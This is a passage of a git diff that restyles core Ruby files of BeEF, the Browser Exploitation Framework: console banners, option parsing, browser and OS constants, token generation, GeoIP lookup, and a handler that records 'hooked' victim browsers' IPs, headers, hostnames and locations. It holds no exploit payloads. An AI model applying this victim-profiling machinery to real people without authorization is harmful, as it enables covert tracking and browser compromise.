x.ip_address if x.ipv4? } + interfaces.delete_if { |x| x.nil? } # remove if the entry is nill + else # the framework will listen on only one interface + interfaces = [beef_host] + end + + self.interfaces = interfaces + + # output the banner to the console + print_info "#{interfaces.count} network interfaces were detected." + end + + # + # Prints the route to the network interfaces beef has been deployed on. + # Looks like that: + # + # [14:06:48][+] running on network interface: 192.168.255.1 + # [14:06:48] | Hook URL: http://192.168.255.1:3000/hook.js + # [14:06:48] | UI URL: http://192.168.255.1:3000/ui/panel + # [14:06:48][+] running on network interface: 127.0.0.1 + # [14:06:48] | Hook URL: http://127.0.0.1:3000/hook.js + # [14:06:48] | UI URL: http://127.0.0.1:3000/ui/panel + # + def print_network_interfaces_routes + configuration = BeEF::Core::Configuration.instance + # local config settings + proto = configuration.local_proto + hook_file = configuration.hook_file_path + admin_ui = configuration.get('beef.extension.admin_ui.enable') ? true : false + admin_ui_path = configuration.get('beef.extension.admin_ui.base_path') + + # display the hook URL and Admin UI URL on each interface from the interfaces array + interfaces.map do |host| + print_info "running on network interface: #{host}" + port = configuration.local_port + data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n" + data += "UI URL: #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui + print_more data + end + + # display the public hook URL and Admin UI URL + if configuration.public_enabled? + print_info 'Public:' + data = "Hook URL: #{configuration.hook_url}\n" + data += "UI URL: #{configuration.beef_url_str}#{admin_ui_path}/panel\n" if admin_ui + print_more data + end + end + + # + # Print loaded extensions + # + def print_loaded_extensions + extensions = BeEF::Extensions.get_loaded + print_info "#{extensions.size} extensions enabled:" + output = '' + + extensions.each do |_key, ext| + output << "#{ext['name']}\n" + end + + print_more output + end + + # + # Print loaded modules + # + def print_loaded_modules + print_info "#{BeEF::Modules.get_enabled.count} modules enabled." + end + + # + # Print WebSocket servers + # + def print_websocket_servers + config = BeEF::Core::Configuration.instance + ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout') + print_info "Starting WebSocket server ws://#{config.beef_host}:#{config.get('beef.http.websocket.port').to_i} [timer: #{ws_poll_timeout}]" + if config.get('beef.http.websocket.secure') + print_info "Starting WebSocketSecure server on wss://[#{config.beef_host}:#{config.get('beef.http.websocket.secure_port').to_i} [timer: #{ws_poll_timeout}]" + end + end end - end - - # - # Prints BeEF's welcome message - # - def print_welcome_msg - config = BeEF::Core::Configuration.instance - version = config.get('beef.version') - print_info "Browser Exploitation Framework (BeEF) #{version}" - data = "Twit: @beefproject\n" - data += "Site: https://beefproject.com\n" - data += "Blog: http://blog.beefproject.com\n" - data += "Wiki: https://github.com/beefproject/beef/wiki\n" - print_more data - print_info "Project Creator: " + "Wade Alcorn".red + " (@WadeAlcorn)" - end - - # - # Prints the number of network interfaces beef is operating on. - # Looks like that: - # - # [14:06:48][*] 5 network interfaces were detected. - # - def print_network_interfaces_count - # get the configuration information - configuration = BeEF::Core::Configuration.instance - # local host - beef_host = configuration.local_host - - # create an array of the interfaces the framework is listening on - if beef_host == '0.0.0.0' # the framework will listen on all interfaces - interfaces = Socket.ip_address_list.map {|x| x.ip_address if x.ipv4?} - interfaces.delete_if {|x| x.nil?} # remove if the entry is nill - else # the framework will listen on only one interface - interfaces = [beef_host] - end - - self.interfaces = interfaces - - # output the banner to the console - print_info "#{interfaces.count} network interfaces were detected." - end - - # - # Prints the route to the network interfaces beef has been deployed on. - # Looks like that: - # - # [14:06:48][+] running on network interface: 192.168.255.1 - # [14:06:48] | Hook URL: http://192.168.255.1:3000/hook.js - # [14:06:48] | UI URL: http://192.168.255.1:3000/ui/panel - # [14:06:48][+] running on network interface: 127.0.0.1 - # [14:06:48] | Hook URL: http://127.0.0.1:3000/hook.js - # [14:06:48] | UI URL: http://127.0.0.1:3000/ui/panel - # - def print_network_interfaces_routes - configuration = BeEF::Core::Configuration.instance - # local config settings - proto = configuration.local_proto - hook_file = configuration.hook_file_path - admin_ui = configuration.get("beef.extension.admin_ui.enable") ? true : false - admin_ui_path = configuration.get("beef.extension.admin_ui.base_path") - - # display the hook URL and Admin UI URL on each interface from the interfaces array - self.interfaces.map do |host| - print_info "running on network interface: #{host}" - port = configuration.local_port - data = "Hook URL: #{proto}://#{host}:#{port}#{hook_file}\n" - data += "UI URL: #{proto}://#{host}:#{port}#{admin_ui_path}/panel\n" if admin_ui - print_more data - end - - # display the public hook URL and Admin UI URL - if configuration.public_enabled? - print_info 'Public:' - data = "Hook URL: #{configuration.hook_url}\n" - data += "UI URL: #{configuration.beef_url_str}#{admin_ui_path}/panel\n" if admin_ui - print_more data - end - end - - # - # Print loaded extensions - # - def print_loaded_extensions - extensions = BeEF::Extensions.get_loaded - print_info "#{extensions.size} extensions enabled:" - output = '' - - extensions.each do |key, ext| - output << "#{ext['name']}\n" - end - - print_more output - end - - # - # Print loaded modules - # - def print_loaded_modules - print_info "#{BeEF::Modules::get_enabled.count} modules enabled." - end - - # - # Print WebSocket servers - # - def print_websocket_servers - config = BeEF::Core::Configuration.instance - ws_poll_timeout = config.get('beef.http.websocket.ws_poll_timeout') - print_info "Starting WebSocket server ws://#{config.beef_host}:#{config.get("beef.http.websocket.port").to_i} [timer: #{ws_poll_timeout}]" - if config.get("beef.http.websocket.secure") - print_info "Starting WebSocketSecure server on wss://[#{config.beef_host}:#{config.get("beef.http.websocket.secure_port").to_i} [timer: #{ws_poll_timeout}]" end end end end - -end -end -end diff --git a/core/main/console/commandline.rb b/core/main/console/commandline.rb index 9c5d59eec..9c0789c06 100644 --- a/core/main/console/commandline.rb +++ b/core/main/console/commandline.rb @@ -10,14 +10,13 @@ module BeEF # This module parses the command line argument when running beef. # module CommandLine - - @options = Hash.new + @options = {} @options[:verbose] = false @options[:resetdb] = false @options[:ascii_art] = false - @options[:ext_config] = "" - @options[:port] = "" - @options[:ws_port] = "" + @options[:ext_config] = '' + @options[:port] = '' + @options[:ws_port] = '' @options[:interactive] = false @options[:update_disabled] = false @options[:update_auto] = false @@ -31,56 +30,52 @@ module BeEF def self.parse return @options if @already_parsed - begin - optparse = OptionParser.new do |opts| - opts.on('-x', '--reset', 'Reset the database') do - @options[:resetdb] = true - end - - opts.on('-v', '--verbose', 'Display debug information') do - @options[:verbose] = true - end - - opts.on('-a', '--ascii_art', 'Prints BeEF ascii art') do - @options[:ascii_art] = true - end - - opts.on('-c', '--config FILE', "Load a different configuration file: if it's called custom-config.yaml, git automatically ignores it.") do |f| - @options[:ext_config] = f - end - - opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p| - @options[:port] = p - end - - opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port| - @options[:ws_port] = ws_port - end - - opts.on('-ud', '--update_disabled', 'Skips update') do - @options[:update_disabled] = true - end - - opts.on('-ua', '--update_auto', 'Automatic update with no prompt') do - @options[:update_auto] = true - end - - #opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do - # @options[:interactive] = true - #end + optparse = OptionParser.new do |opts| + opts.on('-x', '--reset', 'Reset the database') do + @options[:resetdb] = true end - optparse.parse! - @already_parsed = true - @options - rescue OptionParser::InvalidOption => e - puts "Invalid command line option provided. Please run beef --help" - exit 1 + opts.on('-v', '--verbose', 'Display debug information') do + @options[:verbose] = true + end + + opts.on('-a', '--ascii_art', 'Prints BeEF ascii art') do + @options[:ascii_art] = true + end + + opts.on('-c', '--config FILE', "Load a different configuration file: if it's called custom-config.yaml, git automatically ignores it.") do |f| + @options[:ext_config] = f + end + + opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p| + @options[:port] = p + end + + opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port| + @options[:ws_port] = ws_port + end + + opts.on('-ud', '--update_disabled', 'Skips update') do + @options[:update_disabled] = true + end + + opts.on('-ua', '--update_auto', 'Automatic update with no prompt') do + @options[:update_auto] = true + end + + # opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do + # @options[:interactive] = true + # end end + + optparse.parse! + @already_parsed = true + @options + rescue OptionParser::InvalidOption + puts 'Invalid command line option provided. Please run beef --help' + exit 1 end - end - end end end diff --git a/core/main/constants/browsers.rb b/core/main/constants/browsers.rb index 921888082..6eb3f714b 100644 --- a/core/main/constants/browsers.rb +++ b/core/main/constants/browsers.rb @@ -5,68 +5,62 @@ # module BeEF -module Core -module Constants + module Core + module Constants + module Browsers + FF = 'FF' # Firefox + M = 'M' # Mozilla + IE = 'IE' # Internet Explorer + E = 'E' # Microsoft Edge + S = 'S' # Safari + EP = 'EP' # Epiphany + K = 'K' # Konqueror + C = 'C' # Chrome + O = 'O' # Opera + A = 'A' # Avant + MI = 'MI' # Midori + OD = 'OD' # Odyssey + BR = 'BR' # Brave + ALL = 'ALL' # ALL + UNKNOWN = 'UN' # Unknown - module Browsers + FRIENDLY_FF_NAME = 'Firefox' + FRIENDLY_M_NAME = 'Mozilla' + FRIENDLY_IE_NAME = 'Internet Explorer' + FRIENDLY_E_NAME = 'MSEdge' + FRIENDLY_S_NAME = 'Safari' + FRIENDLY_EP_NAME = 'Epiphany' + FRIENDLY_K_NAME = 'Konqueror' + FRIENDLY_C_NAME = 'Chrome' + FRIENDLY_O_NAME = 'Opera' + FRIENDLY_A_NAME = 'Avant' + FRIENDLY_MI_NAME = 'Midori' + FRIENDLY_OD_NAME = 'Odyssey' + FRIENDLY_BR_NAME = 'Brave' + FRIENDLY_UN_NAME = 'UNKNOWN' - FF = 'FF' # Firefox - M = 'M' # Mozilla - IE = 'IE' # Internet Explorer - E = 'E' # Microsoft Edge - S = 'S' # Safari - EP = 'EP' # Epiphany - K = 'K' # Konqueror - C = 'C' # Chrome - O = 'O' # Opera - A = 'A' # Avant - MI = 'MI' # Midori - OD = 'OD' # Odyssey - BR = 'BR' # Brave - ALL = 'ALL' # ALL - UNKNOWN = 'UN' # Unknown - - FRIENDLY_FF_NAME = 'Firefox' - FRIENDLY_M_NAME = 'Mozilla' - FRIENDLY_IE_NAME = 'Internet Explorer' - FRIENDLY_E_NAME = 'MSEdge' - FRIENDLY_S_NAME = 'Safari' - FRIENDLY_EP_NAME = 'Epiphany' - FRIENDLY_K_NAME = 'Konqueror' - FRIENDLY_C_NAME = 'Chrome' - FRIENDLY_O_NAME = 'Opera' - FRIENDLY_A_NAME = 'Avant' - FRIENDLY_MI_NAME = 'Midori' - FRIENDLY_OD_NAME = 'Odyssey' - FRIENDLY_BR_NAME = 'Brave' - FRIENDLY_UN_NAME = 'UNKNOWN' - - # Attempt to retrieve a browser's friendly name - # @param [String] browser_name Short browser name - # @return [String] Friendly browser name - def self.friendly_name(browser_name) - - case browser_name - when FF; return FRIENDLY_FF_NAME - when M ; return FRIENDLY_M_NAME - when IE; return FRIENDLY_IE_NAME - when E ; return FRIENDLY_E_NAME - when S ; return FRIENDLY_S_NAME - when EP; return FRIENDLY_EP_NAME - when K ; return FRIENDLY_K_NAME - when C ; return FRIENDLY_C_NAME - when O ; return FRIENDLY_O_NAME - when A ; return FRIENDLY_A_NAME - when MI ; return FRIENDLY_MI_NAME - when OD ; return FRIENDLY_OD_NAME - when BR ; return FRIENDLY_BR_NAME - when UNKNOWN; return FRIENDLY_UN_NAME + # Attempt to retrieve a browser's friendly name + # @param [String] browser_name Short browser name + # @return [String] Friendly browser name + def self.friendly_name(browser_name) + case browser_name + when FF then FRIENDLY_FF_NAME + when M then FRIENDLY_M_NAME + when IE then FRIENDLY_IE_NAME + when E then FRIENDLY_E_NAME + when S then FRIENDLY_S_NAME + when EP then FRIENDLY_EP_NAME + when K then FRIENDLY_K_NAME + when C then FRIENDLY_C_NAME + when O then FRIENDLY_O_NAME + when A then FRIENDLY_A_NAME + when MI then FRIENDLY_MI_NAME + when OD then FRIENDLY_OD_NAME + when BR then FRIENDLY_BR_NAME + when UNKNOWN then FRIENDLY_UN_NAME + end + end end - end - end - -end -end end diff --git a/core/main/constants/commandmodule.rb b/core/main/constants/commandmodule.rb index 19a5634b4..0706f5c02 100644 --- a/core/main/constants/commandmodule.rb +++ b/core/main/constants/commandmodule.rb @@ -5,21 +5,15 @@ # module BeEF -module Core -module Constants - - module CommandModule - - - # @note Constants to define the execution probability of a command module (this is browser dependant) - VERIFIED_WORKING = 0 - VERIFIED_UNKNOWN = 1 - VERIFIED_USER_NOTIFY = 2 - VERIFIED_NOT_WORKING = 3 - - + module Core + module Constants + module CommandModule + # @note Constants to define the execution probability of a command module (this is browser dependant) + VERIFIED_WORKING = 0 + VERIFIED_UNKNOWN = 1 + VERIFIED_USER_NOTIFY = 2 + VERIFIED_NOT_WORKING = 3 + end + end end - -end -end end diff --git a/core/main/constants/hardware.rb b/core/main/constants/hardware.rb index 34a8bf9fc..400abad44 100644 --- a/core/main/constants/hardware.rb +++ b/core/main/constants/hardware.rb @@ -5,77 +5,73 @@ # module BeEF -module Core -module Constants - - # @note The hardware's strings for hardware detection. - module Hardware - - HW_UNKNOWN_IMG = 'pc.png' - HW_VM_IMG = 'vm.png' - HW_LAPTOP_IMG = 'laptop.png' - HW_IPHONE_UA_STR = 'iPhone' - HW_IPHONE_IMG = 'iphone.jpg' - HW_IPAD_UA_STR = 'iPad' - HW_IPAD_IMG = 'ipad.png' - HW_IPOD_UA_STR = 'iPod' - HW_IPOD_IMG = 'ipod.jpg' - HW_BLACKBERRY_UA_STR = 'BlackBerry' - HW_BLACKBERRY_IMG = 'blackberry.png' - HW_WINPHONE_UA_STR = 'Windows Phone' - HW_WINPHONE_IMG = 'win.png' - HW_ZUNE_UA_STR = 'ZuneWP7' - HW_ZUNE_IMG = 'zune.gif' - HW_KINDLE_UA_STR = 'Kindle' - HW_KINDLE_IMG = 'kindle.png' - HW_NOKIA_UA_STR = 'Nokia' - HW_NOKIA_IMG = 'nokia.ico' - HW_HTC_UA_STR = 'HTC' - HW_HTC_IMG = 'htc.ico' - HW_MOTOROLA_UA_STR = 'motorola' - HW_MOTOROLA_IMG = 'motorola.png' - HW_GOOGLE_UA_STR = 'Nexus' - HW_GOOGLE_IMG = 'nexus.png' - HW_ERICSSON_UA_STR = 'Ericsson' - HW_ERICSSON_IMG = 'sony_ericsson.png' - HW_ALL_UA_STR = 'All' + module Core + module Constants + # @note The hardware's strings for hardware detection. + module Hardware + HW_UNKNOWN_IMG = 'pc.png' + HW_VM_IMG = 'vm.png' + HW_LAPTOP_IMG = 'laptop.png' + HW_IPHONE_UA_STR = 'iPhone' + HW_IPHONE_IMG = 'iphone.jpg' + HW_IPAD_UA_STR = 'iPad' + HW_IPAD_IMG = 'ipad.png' + HW_IPOD_UA_STR = 'iPod' + HW_IPOD_IMG = 'ipod.jpg' + HW_BLACKBERRY_UA_STR = 'BlackBerry' + HW_BLACKBERRY_IMG = 'blackberry.png' + HW_WINPHONE_UA_STR = 'Windows Phone' + HW_WINPHONE_IMG = 'win.png' + HW_ZUNE_UA_STR = 'ZuneWP7' + HW_ZUNE_IMG = 'zune.gif' + HW_KINDLE_UA_STR = 'Kindle' + HW_KINDLE_IMG = 'kindle.png' + HW_NOKIA_UA_STR = 'Nokia' + HW_NOKIA_IMG = 'nokia.ico' + HW_HTC_UA_STR = 'HTC' + HW_HTC_IMG = 'htc.ico' + HW_MOTOROLA_UA_STR = 'motorola' + HW_MOTOROLA_IMG = 'motorola.png' + HW_GOOGLE_UA_STR = 'Nexus' + HW_GOOGLE_IMG = 'nexus.png' + HW_ERICSSON_UA_STR = 'Ericsson' + HW_ERICSSON_IMG = 'sony_ericsson.png' + HW_ALL_UA_STR = 'All' # Attempt to match operating system string to constant # @param [String] name Name of operating system # @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched - def self.match_hardware(name) - case name.downcase - when /iphone/ - HW_IPHONE_UA_STR - when /ipad/ - HW_IPAD_UA_STR - when /ipod/ - HW_IPOD_UA_STR - when /blackberry/ - HW_BLACKBERRY_UA_STR - when /windows phone/ - HW_WINPHONE_UA_STR - when /zune/ - HW_ZUNE_UA_STR - when /kindle/ - HW_KINDLE_UA_STR - when /nokia/ - HW_NOKIA_UA_STR - when /motorola/ - HW_MOTOROLA_UA_STR - when /htc/ - HW_HTC_UA_STR - when /google/ - HW_GOOGLE_UA_STR - when /ericsson/ - HW_ERICSSON_UA_STR - else - 'ALL' - end - end - + def self.match_hardware(name) + case name.downcase + when /iphone/ + HW_IPHONE_UA_STR + when /ipad/ + HW_IPAD_UA_STR + when /ipod/ + HW_IPOD_UA_STR + when /blackberry/ + HW_BLACKBERRY_UA_STR + when /windows phone/ + HW_WINPHONE_UA_STR + when /zune/ + HW_ZUNE_UA_STR + when /kindle/ + HW_KINDLE_UA_STR + when /nokia/ + HW_NOKIA_UA_STR + when /motorola/ + HW_MOTOROLA_UA_STR + when /htc/ + HW_HTC_UA_STR + when /google/ + HW_GOOGLE_UA_STR + when /ericsson/ + HW_ERICSSON_UA_STR + else + 'ALL' + end + end + end + end end - -end -end end diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb index ae232ad43..cd486a6cb 100644 --- a/core/main/constants/os.rb +++ b/core/main/constants/os.rb @@ -7,10 +7,8 @@ module BeEF module Core module Constants - # @note The OS'es strings for os detection. module Os - OS_UNKNOWN_IMG = 'unknown.png' OS_WINDOWS_UA_STR = 'Windows' OS_WINDOWS_IMG = 'win.png' @@ -50,37 +48,35 @@ module BeEF # @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched def self.match_os(name) case name.downcase - when /win/ - OS_WINDOWS_UA_STR - when /lin/ - OS_LINUX_UA_STR - when /os x/, /osx/, /mac/ - OS_MAC_UA_STR - when /qnx/ - OS_QNX_UA_STR - when /sun/ - OS_SUNOS_UA_STR - when /beos/ - OS_BEOS_UA_STR - when /openbsd/ - OS_OPENBSD_UA_STR - when /ios/, /iphone/, /ipad/, /ipod/ - OS_IOS_UA_STR - when /maemo/ - OS_MAEMO_UA_STR - when /blackberry/ - OS_BLACKBERRY_UA_STR - when /android/ - OS_ANDROID_UA_STR - when /aros/ - OS_AROS_UA_STR - else - 'ALL' + when /win/ + OS_WINDOWS_UA_STR + when /lin/ + OS_LINUX_UA_STR + when /os x/, /osx/, /mac/ + OS_MAC_UA_STR + when /qnx/ + OS_QNX_UA_STR + when /sun/ + OS_SUNOS_UA_STR + when /beos/ + OS_BEOS_UA_STR + when /openbsd/ + OS_OPENBSD_UA_STR + when /ios/, /iphone/, /ipad/, /ipod/ + OS_IOS_UA_STR + when /maemo/ + OS_MAEMO_UA_STR + when /blackberry/ + OS_BLACKBERRY_UA_STR + when /android/ + OS_ANDROID_UA_STR + when /aros/ + OS_AROS_UA_STR + else + 'ALL' end end - end - end end end diff --git a/core/main/crypto.rb b/core/main/crypto.rb index d2d28f8c9..0269f2280 100644 --- a/core/main/crypto.rb +++ b/core/main/crypto.rb @@ -6,90 +6,89 @@ require 'securerandom' module BeEF -module Core - module Crypto - # @note the minimum length of the security token - TOKEN_MINIMUM_LENGTH = 15 - - # - # Generate a secure random token - # - # @param [Integer] len The length of the secure token - # - # @return [String] Security token - # - def self.secure_token(len = nil) - # get default length from config - config = BeEF::Core::Configuration.instance - token_length = len || config.get('beef.crypto_default_value_length').to_i - - # type checking - raise TypeError, "Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}" if (token_length < TOKEN_MINIMUM_LENGTH) - - # return random hex string - SecureRandom.random_bytes(token_length).unpack("H*")[0] - end + module Core + module Crypto + # @note the minimum length of the security token + TOKEN_MINIMUM_LENGTH = 15 - # - # Generate a secure random token, 20 chars, used as an auth token for the RESTful API. - # After creation it's stored in the BeEF configuration object => conf.get('beef.api_token') - # - # @return [String] Security token - # - def self.api_token - - config = BeEF::Core::Configuration.instance - token_length = 20 + # + # Generate a secure random token + # + # @param [Integer] len The length of the secure token + # + # @return [String] Security token + # + def self.secure_token(len = nil) + # get default length from config + config = BeEF::Core::Configuration.instance + token_length = len || config.get('beef.crypto_default_value_length').to_i - # return random hex string - token = SecureRandom.random_bytes(token_length).unpack("H*")[0] - config.set('beef.api_token', token) - token - end + # type checking + raise TypeError, "Token length is less than the minimum length enforced by the framework: #{TOKEN_MINIMUM_LENGTH}" if token_length < TOKEN_MINIMUM_LENGTH - # - # Generates a random alphanumeric string - # Note: this isn't securely random - # @todo use SecureRandom once Ruby 2.4 is EOL - # - # @param length integer length of returned string - # - def self.random_alphanum_string(length = 10) - raise TypeError, 'Invalid length' unless length.integer? - raise TypeError, 'Invalid length' unless length.positive? - - [*('a'..'z'),*('A'..'Z'),*('0'..'9')].shuffle[0,length].join - end - - # - # Generates a random hex string - # - # @param length integer length of returned string - # - def self.random_hex_string(length = 10) - raise TypeError, 'Invalid length' unless length.integer? - raise TypeError, 'Invalid length' unless length.positive? - - SecureRandom.random_bytes(length).unpack('H*').first[0...length] - end - - # - # Generates a unique identifier for DNS rules. - # - # @return [String] 8-character hex identifier - # - def self.dns_rule_id - id = nil - - begin - id = random_hex_string(8) - BeEF::Core::Models::Dns::Rule.all.each { |rule| throw StandardError if id == rule.id } - rescue StandardError - retry + # return random hex string + SecureRandom.random_bytes(token_length).unpack1('H*') end - id.to_s + # + # Generate a secure random token, 20 chars, used as an auth token for the RESTful API. + # After creation it's stored in the BeEF configuration object => conf.get('beef.api_token') + # + # @return [String] Security token + # + def self.api_token + config = BeEF::Core::Configuration.instance + token_length = 20 + + # return random hex string + token = SecureRandom.random_bytes(token_length).unpack1('H*') + config.set('beef.api_token', token) + token + end + + # + # Generates a random alphanumeric string + # Note: this isn't securely random + # @todo use SecureRandom once Ruby 2.4 is EOL + # + # @param length integer length of returned string + # + def self.random_alphanum_string(length = 10) + raise TypeError, 'Invalid length' unless length.integer? + raise TypeError, 'Invalid length' unless length.positive? + + [*('a'..'z'), *('A'..'Z'), *('0'..'9')].shuffle[0, length].join + end + + # + # Generates a random hex string + # + # @param length integer length of returned string + # + def self.random_hex_string(length = 10) + raise TypeError, 'Invalid length' unless length.integer? + raise TypeError, 'Invalid length' unless length.positive? + + SecureRandom.random_bytes(length).unpack1('H*')[0...length] + end + + # + # Generates a unique identifier for DNS rules. + # + # @return [String] 8-character hex identifier + # + def self.dns_rule_id + id = nil + + begin + id = random_hex_string(8) + BeEF::Core::Models::Dns::Rule.all.each { |rule| throw StandardError if id == rule.id } + rescue StandardError + retry + end + + id.to_s + end end end end -end diff --git a/core/main/geoip.rb b/core/main/geoip.rb index fbe33ab99..b2470ebd1 100644 --- a/core/main/geoip.rb +++ b/core/main/geoip.rb @@ -5,55 +5,55 @@ # module BeEF -module Core - class GeoIp - include Singleton - - def initialize - @config = BeEF::Core::Configuration.instance - @enabled = @config.get('beef.geoip.enable') ? true : false + module Core + class GeoIp + include Singleton - return unless @enabled + def initialize + @config = BeEF::Core::Configuration.instance + @enabled = @config.get('beef.geoip.enable') ? true : false - geoip_file = @config.get('beef.geoip.database') + return unless @enabled - unless File.exists? geoip_file - print_error "[GeoIP] Could not find MaxMind GeoIP database: '#{geoip_file}'" + geoip_file = @config.get('beef.geoip.database') + + unless File.exist? geoip_file + print_error "[GeoIP] Could not find MaxMind GeoIP database: '#{geoip_file}'" + @enabled = false + return + end + + require 'maxmind/db' + @geoip_reader = MaxMind::DB.new(geoip_file, mode: MaxMind::DB::MODE_MEMORY) + @geoip_reader.freeze + rescue StandardError => e + print_error "[GeoIP] Failed to load GeoIP database: #{e.message}" @enabled = false - return end - require 'maxmind/db' - @geoip_reader = MaxMind::DB.new(geoip_file, mode: MaxMind::DB::MODE_MEMORY) - @geoip_reader.freeze - rescue => e - print_error "[GeoIP] Failed to load GeoIP database: #{e.message}" - @enabled = false - end + # + # Check if GeoIP functionality is enabled and functional + # + # @return [Boolean] GeoIP functionality enabled? + # + def enabled? + @enabled + end - # - # Check if GeoIP functionality is enabled and functional - # - # @return [Boolean] GeoIP functionality enabled? - # - def enabled? - @enabled - end + # + # Search the MaxMind GeoLite2 database for the specified IP address + # + # @param [String] The IP address to lookup + # + # @return [Hash] IP address lookup results + # + def lookup(ip) + raise TypeError, '"ip" needs to be a string' unless ip.string? - # - # Search the MaxMind GeoLite2 database for the specified IP address - # - # @param [String] The IP address to lookup - # - # @return [Hash] IP address lookup results - # - def lookup(ip) - raise TypeError, '"ip" needs to be a string' unless ip.string? + return unless @enabled - return unless @enabled - - @geoip_reader.get(ip) + @geoip_reader.get(ip) + end end end end -end diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 35f11759b..1a8d9eb6e 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -8,7 +8,6 @@ module BeEF module Handlers # @note Retrieves information about the browser (type, version, plugins etc.) class BrowserDetails - @data = {} HB = BeEF::Core::Models::HookedBrowser @@ -16,69 +15,70 @@ module BeEF def initialize(data) @data = data - setup() + setup end def err_msg(error) print_error "[Browser Details] #{error}" end - def setup() - print_debug "[INIT] Processing Browser Details..." + def setup + print_debug '[INIT] Processing Browser Details...' config = BeEF::Core::Configuration.instance # validate hook session value session_id = get_param(@data, 'beefhook') print_debug "[INIT] Processing Browser Details for session #{session_id}" - (self.err_msg "session id is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(session_id) - hooked_browser = HB.where(:session => session_id).first - return if not hooked_browser.nil? # browser is already registered with framework + unless BeEF::Filters.is_valid_hook_session_id?(session_id) + (err_msg 'session id is invalid' + return) + end + hooked_browser = HB.where(session: session_id).first + return unless hooked_browser.nil? # browser is already registered with framework # create the structure representing the hooked browser - zombie = BeEF::Core::Models::HookedBrowser.new(:ip => @data['request'].ip, :session => session_id) + zombie = BeEF::Core::Models::HookedBrowser.new(ip: @data['request'].ip, session: session_id) zombie.firstseen = Time.new.to_i # hooked window host name log_zombie_port = 0 - if not @data['results']['browser.window.hostname'].nil? + if !@data['results']['browser.window.hostname'].nil? log_zombie_domain = @data['results']['browser.window.hostname'] - elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?) + elsif !@data['request'].referer.nil? and !@data['request'].referer.empty? referer = @data['request'].referer - if referer.start_with?("https://") - log_zombie_port = 443 - else - log_zombie_port = 80 - end - log_zombie_domain=referer.gsub('http://', '').gsub('https://', '').split('/')[0] + log_zombie_port = if referer.start_with?('https://') + 443 + else + 80 + end + log_zombie_domain = referer.gsub('http://', '').gsub('https://', '').split('/')[0] else - log_zombie_domain="unknown" # Probably local file open + log_zombie_domain = 'unknown' # Probably local file open end # hooked window host port - if not @data['results']['browser.window.hostport'].nil? - log_zombie_port = @data['results']['browser.window.hostport'] + if @data['results']['browser.window.hostport'].nil? + log_zombie_domain_parts = log_zombie_domain.split(':') + log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1 else - log_zombie_domain_parts=log_zombie_domain.split(':') - if log_zombie_domain_parts.length > 1 then - log_zombie_port=log_zombie_domain_parts[1].to_i - end + log_zombie_port = @data['results']['browser.window.hostport'] end zombie.domain = log_zombie_domain zombie.port = log_zombie_port - #Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :( - @http_headers = Hash.new - http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' } - .each { |key, value| + # Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :( + @http_headers = {} + http_header = @data['request'].env.select { |k, _v| k.to_s.start_with? 'HTTP_' } + .each do |key, value| @http_headers[key.sub(/^HTTP_/, '')] = value.force_encoding('UTF-8') - } + end zombie.httpheaders = @http_headers.to_json zombie.save! - #print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}" + # print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}" # add a log entry for the newly hooked browser - BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}") + BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port}", zombie.id.to_s) # get and store browser name browser_name = get_param(@data['results'], 'browser.name') @@ -89,23 +89,21 @@ module BeEF browser_friendly_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name) BD.set(session_id, 'browser.name.friendly', browser_friendly_name) else - self.err_msg "Invalid browser name returned from the hook browser's initial connection." + err_msg "Invalid browser name returned from the hook browser's initial connection." end if BeEF::Filters.is_valid_ip?(zombie.ip) BD.set(session_id, 'network.ipaddress', zombie.ip) else - self.err_msg "Invalid IP address returned from the hook browser's initial connection." + err_msg "Invalid IP address returned from the hook browser's initial connection." end # lookup zombie host name if config.get('beef.dns_hostname_lookup') begin host_name = Resolv.getname(zombie.ip).to_s - if BeEF::Filters.is_valid_hostname?(host_name) - BD.set(session_id, 'host.name', host_name) - end - rescue + BD.set(session_id, 'host.name', host_name) if BeEF::Filters.is_valid_hostname?(host_name) + rescue StandardError print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'" end end @@ -119,62 +117,112 @@ module BeEF print_debug "[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'" else # print_debug "[INIT] Geolocation results: #{geoip}" - BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}") + BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", zombie.id.to_s) BD.set( session_id, 'location.city', - "#{geoip['city']['names']['en'] rescue 'Unknown'}") + (begin + geoip['city']['names']['en'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.country', - "#{geoip['country']['names']['en'] rescue 'Unknown' }") + (begin + geoip['country']['names']['en'] + rescue StandardError + 'Unknown' + end).to_s + ) BD.set( session_id, 'location.country.isocode', - "#{geoip['country']['iso_code'] rescue 'Unknown'}") + (begin + geoip['country']['iso_code'] + rescue StandardError + 'Unknown' + end).to_s + ) 